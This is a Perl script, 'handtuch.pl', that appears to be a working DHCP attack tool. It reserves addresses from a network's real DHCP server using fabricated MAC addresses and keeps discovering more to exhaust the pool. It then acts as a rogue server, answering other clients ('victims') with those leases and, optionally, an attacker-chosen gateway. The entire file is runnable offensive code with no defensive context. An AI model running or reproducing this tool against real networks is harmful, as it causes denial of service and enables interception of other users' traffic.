handtuch.pl

#!/usr/bin/perl

use strict;

use IO::Socket::INET;
use IO::Select;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
use Time::HiRes qw( usleep );
use Getopt::Long;

my ($n_towels, $n_discoverer, $gateway_string, $gateway, $expire) = (10, 0, undef, undef, 60);

GetOptions(
	"towels=i"     => \$n_towels,
	"discoverers=i" => \$n_discoverer,
	"gateway=s"    => \$gateway_string,
	"expire=i"     => \$expire,
) || die "Error parsing command line: $!";

if (defined $gateway_string) {
	$gateway = inet_aton($gateway_string);
	print "Gateway: ", inet_ntoa($gateway), "\n";
}

my %towel;

# towels will be assigned to victims
my %victim;

my $server = IO::Socket::INET->new(
	LocalPort => 'bootps',
	Proto => 'udp',
	Broadcast => 1,
) or die "server socket: $!";


my $client = IO::Socket::INET->new(
	Proto => 'udp',
	Broadcast => 1,
	LocalPort => 'bootpc',
) or die "client socket: $!";

my $BRDCAST_TO_SERVER = sockaddr_in(67, INADDR_BROADCAST);
my $BRDCAST_TO_CLIENT = sockaddr_in(68, INADDR_BROADCAST);

my $towel_start_mac = 0xDEADBEEF0000;

my $select = new IO::Select($client, $server) or die "IO::Select: $!";

sub changeTowelState {
	my ($xid, $state) = @_;
	my $old = $towel{$xid}{state};
	$towel{$xid}{state} = $state;
	unless ($old eq $state) {
		printTowelStatus();
		$towel{$xid}{ts} = time();
	}
}

sub sendDiscover {
	my ($xid) = @_;
	# create DHCP Packet
	my $hw = ($towel{$xid}{packet} && $towel{$xid}{packet}->chaddr) // sprintf("%X", $towel_start_mac++);
	#print "-> DHCPDISCOVER $xid for $hw\n";
	my $discover = Net::DHCP::Packet->new(
		Xid => $xid, # random xid
		Flags => 0x8000,              # ask for broadcast answer
		Chaddr => $hw,
		DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER()
	);
	$towel{$xid}{packet} = $discover;
	changeTowelState($xid, "DISCOVER");
	# send packet
	$client->send($discover->serialize(), undef, $BRDCAST_TO_SERVER)
	       or die "Error sending DHCPDISCOVER: $!\n";
}

sub sendRequest {
	my ($offer) = @_;
	print "-> DHCPREQUEST ".$offer->xid."\n";
	my $req = Net::DHCP::Packet->new(
		Xid => $offer->xid(),
		#Ciaddr => $offer->yiaddr(),
		Chaddr => $offer->chaddr,
		Flags => 0x8000,              # ask for broadcast answer
		DHO_DHCP_MESSAGE_TYPE() => DHCPREQUEST(),
		DHO_DHCP_REQUESTED_ADDRESS() => $offer->yiaddr(),
	);
	# send packet
	$client->send($req->serialize(), undef, $BRDCAST_TO_SERVER)
	       or die "Error sending DHCPREQUEST: $!\n";
}

sub findFreeTowel {
	for my $xid (keys %towel) {
		next unless $towel{$xid}{state} eq "ACK";
		next if grep {$_ eq $xid} values %victim;
		return $xid;
	}
	return undef;
}

sub splicePacket {
	my ($template, $type) = @_;
	my $res = new Net::DHCP::Packet($template->serialize());
	if ($type) {
		$res->removeOption(DHO_DHCP_MESSAGE_TYPE());
		$res->addOptionValue(DHO_DHCP_MESSAGE_TYPE(), $type);
	}
	if ($gateway) {
		$res->removeOption(DHO_ROUTERS());
		$res->addOptionValue(DHO_ROUTERS(), inet_ntoa($gateway));
	}
	return $res;
}

sub offerTowel {
	my ($packet) = @_;
	my $towel_id = findFreeTowel();
	unless ($towel_id) {
		print "Unable to find a suitable towel\n";
		return;
	}
	my $offer = splicePacket($towel{$towel_id}{packet}, DHCPOFFER());
	$offer->xid($packet->xid);
	$offer->chaddr($packet->chaddr);

	$server->send($offer->serialize(), undef, $BRDCAST_TO_CLIENT);
	$victim{$packet->xid()} = $towel_id;
	print "-> DHCPOFFER ", $packet->xid, " (towel ", $towel_id, ")\n";
}

sub ackRequest {
	my ($packet) = @_;
	my $towel_id = $victim{$packet->xid};
	unless ($towel_id) {
		print "No registered towel\n";
		return;
	}
	my $ack = splicePacket($towel{$towel_id}{packet}, DHCPACK());
	$ack->xid($packet->xid);
	$ack->chaddr($packet->chaddr);

	$server->send($ack->serialize(), undef, $BRDCAST_TO_CLIENT);
	print "-> DHCPACK ", $packet->xid, " (towel ", $towel_id, ")\n";
}

sub readResponse {
	my ($handle) = @_;
	my $msg;
	$handle->recv($msg, 4096);
	my $packet = Net::DHCP::Packet->new($msg);
	my $xid = $packet->xid;
	## Responses to our communication
	if ($towel{$xid} && $handle == $client) {
		if ($packet->op == BOOTREPLY() && $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE()) == DHCPOFFER()) {
			print "<- DHCPOFFER $xid ",(hex($xid)),"\n";
			$towel{$xid}{packet} = $packet;
			changeTowelState($xid, "OFFER");
			sendRequest($packet);
		} elsif ($packet->op == BOOTREPLY() && $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE()) == DHCPNAK()) {
			print "<- DHCPNAK $xid: ".($packet->getOptionValue(DHO_DHCP_MESSAGE()))."\n";
			changeTowelState($xid, "NAK");
			delete $towel{$xid};
		} elsif ($packet->op == BOOTREPLY() && $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE()) == DHCPACK()) {
			print "<- DHCPACK $xid\n";
			$towel{$xid}{packet} = $packet;
			changeTowelState($xid, "ACK");
			print "Reserved ".(countTowels("ACK"))." addresses from the pool.\n";
		} else {
			print $packet->toString();
		}
	} elsif ($handle == $server && !$towel{$xid}) {
		## Requests from other clients ##
		if ($packet->op == BOOTREQUEST() && $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE()) == DHCPDISCOVER()) {
			print "<- DHCPDISCOVER $xid\n";
			offerTowel($packet);
		} elsif ($packet->op == BOOTREQUEST() && $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE()) == DHCPREQUEST()) {
			my $hostname = $packet->getOptionValue(DHO_HOST_NAME());
			print "<- DHCPREQUEST $xid [$hostname]\n";
			ackRequest($packet);
		} else {
			print $packet->toString();
		}
	}
}

sub countTowels {
	my ($q) = @_;
	return (grep {defined $_} map { (!defined $q || $towel{$_}{state} eq $q) ? $_ : undef } keys %towel)
}

sub refreshTowels {
	for my $xid (keys %towel) {
		my $state = $towel{$xid}{state};
		if ($state eq "DISCOVER" || !$state) {
			my $age = (time()-$towel{$xid}{ts});
			if ($age > $expire && countTowels("DISCOVER") > $n_discoverer) {
				print "Towel $xid is $age seconds old, expiring\n";
				delete $towel{$xid};
			} else {
				# retransmit DHCPDISCOVER
				sendDiscover($xid);
			}
		} elsif ($state eq "OFFER") {
			sendRequest($towel{$xid}{packet});
		}
	}
}

sub addTowel {
	$towel{int(rand(0xFFFFFFFF))} = { state => "DISCOVER", packet => undef, ts => time() };
}

sub printTowelStatus {
	print (join " ", map { "$_: ".countTowels($_) } ("DISCOVER", "OFFER", "ACK"));
	print "\n";
}

# create initial requests
for (1..$n_towels) {
	addTowel();
}

my $lastupdate = 0;
while (1) {
	printTowelStatus();
	if (time() > $lastupdate+10) {
		$lastupdate = time();
		refreshTowels();
	}
	if (my @h = $select->can_read(2)) {
		readResponse($_) for @h;
	}
	while (countTowels("DISCOVER") < abs($n_discoverer)) {
		addTowel();
	}
}